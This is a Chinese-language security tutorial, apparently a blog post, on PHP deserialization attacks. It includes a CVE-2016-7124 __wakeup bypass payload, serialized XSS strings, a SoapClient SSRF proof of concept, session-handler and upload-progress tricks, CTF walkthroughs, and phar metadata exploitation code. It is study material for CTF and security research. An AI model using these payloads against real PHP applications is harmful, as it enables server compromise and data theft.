再谈PHP反序列化

文章首发于 SECIN社区:https://www.sec-in.com/article/137

三种类属性

Private 权限: 正常
Private 权限属性名: %00类名%00属性名 。且属性名长度改变
Protected 权限属性名: %00*%00属性名 。且属性名长度改变

demo

<?php   
class Test {
public $name = 'P2hm1n';
private $age = 'Secret';
protected $test = 'test';
}

$test = new Test;
$content = serialize($test);
file_put_contents('./flag.txt', $content);

?>

魔术方法

具体可参考PHP手册: https://www.php.net/manual/zh/language.oop5.magic.php

construct 调用条件 :当一个类被初始化为实例时会调用(unserialize()时不会自动调用)
destruct 调用条件 :当对象被销毁时会调用
sleep 调用条件 :当一个类调用serialize进行序列化时会自动调用
wakeup 调用条件 :当字符串要利用unserialize反序列化成一个类时会调用
get() 调用条件:当从不可访问的属性读取数据
call()调用条件: 当要调用的方法不存在或权限不足时自动调用
invoke()调用条件: 当把一个类当作函数使用时自动调用

tostring 当反序列化后的对象被当作字符串的时候调用。具体调用场景条件如下(引用自 @k0rz3n)

(1) echo ($obj) / print($obj) 打印时会触发
(2) 反序列化对象与字符串连接时
(3) 反序列化对象参与格式化字符串时
(4) 反序列化对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)
(5) 反序列化对象参与格式化SQL语句,绑定参数时
(6) 反序列化对象在经过php字符串函数,如 strlen()addslashes()
(7) 在in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有toString返回的字符串的时候toString会被调用
(8) 反序列化的对象作为 class_exists() 的参数的时候

CVE-2016-7124

CVE利用目的: 绕过魔法函数__wakeup

版本限制: PHP5 < 5.6.25 | PHP7 < 7.0.10

核心原理: PHP 内核层解析反序列化漏洞
s
绕过方法: 当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

Bypass demo

<?php   
class Test {
public $name = 'P2hm1n';

function __destruct()
{
echo 'Bypass';
}

function __wakeup()
{
echo 'fail ';
}
}

$payload = '';
unserialize($payload);
?>

payload

payload1 = O:4:"Test":1:{s:4:"name";s:6:"P2hm1n";}
// fail Bypass

bypass payload

payload1 = O:4:"Test":2:{s:4:"name";s:6:"P2hm1n";}
// Bypass

POP链构造

具体可参考各类CTF的POP链

or ThinkPHP

or Typecho

原生类利用

ZipArchive::open

@Threezh1 文中已经写的很详细了。这里不再补充
https://xz.aliyun.com/t/6454#toc-10

SoapClient

关于SOAP安全问题:https://www.anquanke.com/post/id/153065#h2-1

利用条件:
需要有soap扩展,且不是默认开启,需要手动开启
需要调用一个不存在的方法触发其__call()函数

仅限于http/https协议,且http头部还存在crlf漏洞(SOAP + CRLF = SSRF)

例子可见下文: LCTF2018-bestphp’s revenge

Error XSS

@l3m0n 师傅blog中提到了XSS

Error
适用于php7版本

XSS
开启报错的情况下:

<?php
$a = new Error("<script>alert(1)</script>");
$b = serialize($a);
echo urlencode($b);

//Test
$t = urldecode('O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D');
$c = unserialize($t);
echo $c;

Exception XSS

@l3m0n 师傅blog中提到了XSS

Exception
适用于php5、7版本

XSS
开启报错的情况下:

<?php
$a = new Exception("<script>alert(1)</script>");
$b = serialize($a);
echo urlencode($b);

//Test
$c = urldecode('O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D');
echo unserialize($c);

多种姿势组合拳

例子可见:Pornhub某漏洞 : https://5haked.blogspot.com/2016/10/how-i-hacked-pornhub-for-fun-and-profit.html?m=1

涉及姿势如下
可获取目录: DirectoryIterator
XXE: SimpleXMLElement
创建空白文件: SQLite3

反序列化字符逃逸

原理: 对类中不存在的属性也会进行反序列化。且PHP 在反序列化时,底层代码是以 ;作为字段的分隔,以 }作为结尾(字符串除外),并且是根据长度判断内容的

利用: 构造字符串

例子一

0ctf2016 一道web题(待更新

例子二

安洵杯 - easy_serialize_php
https://xz.aliyun.com/t/6911#toc-3

Session 反序列化

参数相关

session相关参数配置

Directive 含义
session.save_handler session保存形式。默认为files
session.save_path 设置session的存储路径,默认在/tmp
session.serialize_handler session序列化存储所用处理器。默认为php。
session.upload_progress.cleanup 一旦读取了所有POST数据,立即清除进度信息。默认开启
session.upload_progress.enabled 将上传文件的进度信息存在session中。默认开启。

PHP处理器三种序列化方式

处理器 对应的存储格式
php_binary 键名的长度对应的ASCII字符+键名+经过serialize() 函数反序列处理的值
php 键名+竖线+经过serialize()函数反序列处理的值
php_serialize serialize()函数反序列处理数组方式

差异性

PHP处理器差异性如下

<?php
ini_set('session.serialize_handler','');
session_start();

$_SESSION['name'] = $_GET['name'];
?>

URL传参,?name=P2hm1n。session以文本存储方式保存在 /tmp 目录下。

php: name|s:6:"P2hm1n";
php_binary: 二进制字符names:6:"P2hm1n";
php_serialize: a:1:{s:4:"name";s:6:"P2hm1n";}

漏洞核心也体现在 差异性 三个字

Q: 什么是差异性:
A: 选择的处理方式不同,序列化和反序列化的方式亦不同。如果网站序列化并存储Session与反序列化并读取Session的方式不同,就可能导致漏洞的产生。

攻击手段

trick-1

利用前提: 脚本中设置的序列化处理器与php.ini设置的不同

常见漏洞场景: php_serilize 方式存入,解析又是用的 php 处理器

利用原理: php 在获取 session 的时候,会按照session.serialize_handler=php 规则来处理 session 文件。把 | 前面的值作为一个session键名,对 | 后面就会进行一个反序列化操作

trick-2

配置不当可造成session被控。

session.upload_progress.enabled打开时,php会记录上传文件的进度,在上传时会将其信息保存在$_SESSION中。

但当一个文件上传时,同时POST一个与php.ini中session.upload_progress.name同名的变量时(session.upload_progress.name的变量值默认为PHP_SESSION_UPLOAD_PROGRESS),PHP检测到这种同名请求会在$_SESSION中添加一条数据。我们由此来设置session。

session.upload_progress.cleanup关闭。这就 极大提高了漏洞的利用成功率。如果此选项session.upload_progress.cleanup打开,那么在利用时攻击者需要上传large and crash文件,来使得我们传入的data得以执行。

详情见https://bugs.php.net/bug.php?id=71101

例子一

题目链接: http://web.jarvisoj.com:32784/index.php

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}

function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>

差异点:

  1. phpinfo中 session.serialize_handler = php_serialize
  2. 题目中 ini_set('session.serialize_handler', 'php');

核心目的: 进入 eval 函数执行命令。由于题目中并没有反序列化操作,其中 $this->mdzz 不可通过常规手段控制。

观察phpinfo中session其他有关信息

构造一个上传的页面

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="change" />
<input type="file" name="file" />
<input type="submit" />
</form>

构造poc

<?php
class OowoO
{
public $mdzz;
}

$a = new OowoO();
$a->mdzz = "payload";
echo serialize($a);
?>

扫描目录

phpinfo中的_SERVER["SCRIPT_FILENAME"]字段得到路径:/opt/lampp/htdocs/

随后用绝对路径读取文件

例子二

题目来源: LCTF2018-bestphp’s revenge

题目给了两个源码

index.php

<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET[f],$_POST);
session_start();
if(isset($_GET[name])){
$_SESSION[name] = $_GET[name];
}
var_dump($_SESSION);
$a = array(reset($_SESSION),'welcome_to_the_lctf2018');
call_user_func($b,$a);
?>

flag.php

<?php
session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
$_SESSION['flag'] = $flag;
}
?>

flag.php 跟 index.php 之间的微妙联系体现在

$_SESSION['flag'] = $flag;
var_dump($_SESSION);

$_SERVER["REMOTE_ADDR"]==="127.0.0.1"。这里自然想到SSRF。可以利用上文提到的php原生类SoapClient中的__call方法进行SSRF。

构造SSRF的POC (POC来自 @Smi1e)

<?php
$url = "http://127.0.0.1/flag.php";
$b = new SoapClient(null, array('uri' => $url, 'location' => $url));
$a = serialize($b);
$a = str_replace('^^', "\r\n", $a);
echo "|" . urlencode($a);
?>

index.php 中涉及到了call_user_func 函数。PHP手册中 给了几个call_user_func 函数的例子: https://www.php.net/manual/zh/function.call-user-func.php
其中需要注意的是当我们的第一个参数为数组时,会把第一个值当作类名,第二个值当作方法进行回调

为了进行反序列化只能利用PHP中SESSION反序列化机制。主要体现在差异性(当序列化的引擎和反序列化的引擎不一致时,就可以利用引擎之间的差异产生序列化注入漏洞)。但是在PHP中默认使用的是PHP引擎。所以这里为了展现session的差异性,我们需要通过代码手动构造差异性。

通过 call_user_func($_GET['f'], $_POST); 构造PHP引擎差异性。并通过 $_SESSION['name'] = $_GET['name']; 将构造的Soap类序列化字符串写入session文件

为了调用 __call 方法。首先利用call_user_func($_GET['f'], $_POST);传入 f=extract 进行POST变量覆盖。随后通过GET传参令$_SESSION['name'] = SoapClient。再利用POST传参进行变量b的覆盖。即调用 SoapClient 类不存在的 welcome_to_the_lctf2018 方法,从而触发 __call 方法发起 soap 请求进行 SSRF 。

最后携带cookie访问

Phar拓展攻击面

Phar简介

拓展攻击面体现在: 可通过构造 phar 在没有 unserailize() 的情况下实现反序列化攻击

由 PHPGGC 理解 PHP 反序列化漏洞 一文中对其概念概括十分简洁明了

简单来说phar就是php压缩文档。它可以把多个文件归档到同一个文件中,而且不经过解压就能被 php 访问并执行,与file://php://等类似,也是一种流包装器。

phar结构由 4 部分组成

  1. stub phar 文件标识,格式为 xxx<?php xxx; __HALT_COMPILER();?>;
  2. manifest 压缩文件的属性等信息,以序列化存储;
  3. contents 压缩文件的内容;
  4. signature 签名,放在文件末尾;

这里有两个关键点,一是文件标识,必须以__HALT_COMPILER();?>结尾,但前面的内容没有限制,也就是说我们可以轻易伪造一个图片文件或者pdf文件来绕过一些上传限制;二是反序列化,phar存储的meta-data信息以序列化方式存储,当文件操作函数通过phar://伪协议解析phar文件时就会将数据反序列化,而这样的文件操作函数有很多。

利用条件:

  1. phar文件要能够上传到服务器端。
  2. 要有可用的魔术方法作为“跳板”。
  3. 文件操作函数的参数可控,且:/phar等特殊字符没有被过滤。

生成Phar

<?php
class TestObject {
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

PS: 要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件

触发条件

@secii 师傅文中提到: php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化

  • fileatime / filectime / filemtime
  • stat / fileinode / fileowner / filegroup / fileperms
  • file / file_get_contents / readfile / fopen
  • file_exists / is_dir / is_executable / is_file / is_link / is_readable / is_writeable / is_writable
  • parse_ini_file
  • unlink
  • copy

随后 @zsx 师傅blog中 Phar与Stream Wrapper造成PHP RCE的深入挖掘 对其进行了更深入的挖掘

  • exif
    • exif_thumbnail
    • exif_imagetype
  • gd
    • imageloadfont
    • imagecreatefrom***
  • hash
    • hash_hmac_file
    • hash_file
    • hash_update_file
    • md5_file
    • sha1_file
  • file / url
    • get_meta_tags
    • get_headers
  • standard
    • getimagesize
    • getimagesizefromstring
  • zip

    $zip = new ZipArchive();
    $res = $zip->open('c.zip');
    $zip->extractTo('phar://test.phar/test');
  • Bzip / Gzip
    如果限制了phar://不能出现在头几个字符。可用 compress.bzip2://compress.zlib:// 添加至 phar:// 前面进行 bypass
    $z = 'compress.bzip2://phar:///home/sx/test.phar/test.txt';

  • MySQL
    LOAD DATA LOCAL INFILE也会触发这个php_stream_open_wrapper

    <?php
    class A {
    public $s = '';
    public function __wakeup () {
    system($this->s);
    }
    }
    $m = mysqli_init();
    mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
    $s = mysqli_real_connect($m, 'localhost', 'root', '123456', 'easyweb', 3306);
    $p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a LINES TERMINATED BY \'\r\n\' IGNORE 1 LINES;');

例子

参考另一篇 blog HITCON 三题递进PHP反序列化

HITCON2017 中的 Baby^H Master PHP 2017 一题

refer
https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html#_label2_1
https://coomrade.github.io/2018/10/26/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%94%BB%E5%87%BB%E9%9D%A2%E6%8B%93%E5%B1%95%E6%8F%90%E9%AB%98%E7%AF%87/
https://www.smi1e.top/lctf2018-bestphps-revenge-%E8%AF%A6%E7%BB%86%E9%A2%98%E8%A7%A3/
https://blog.zsxsoft.com/post/38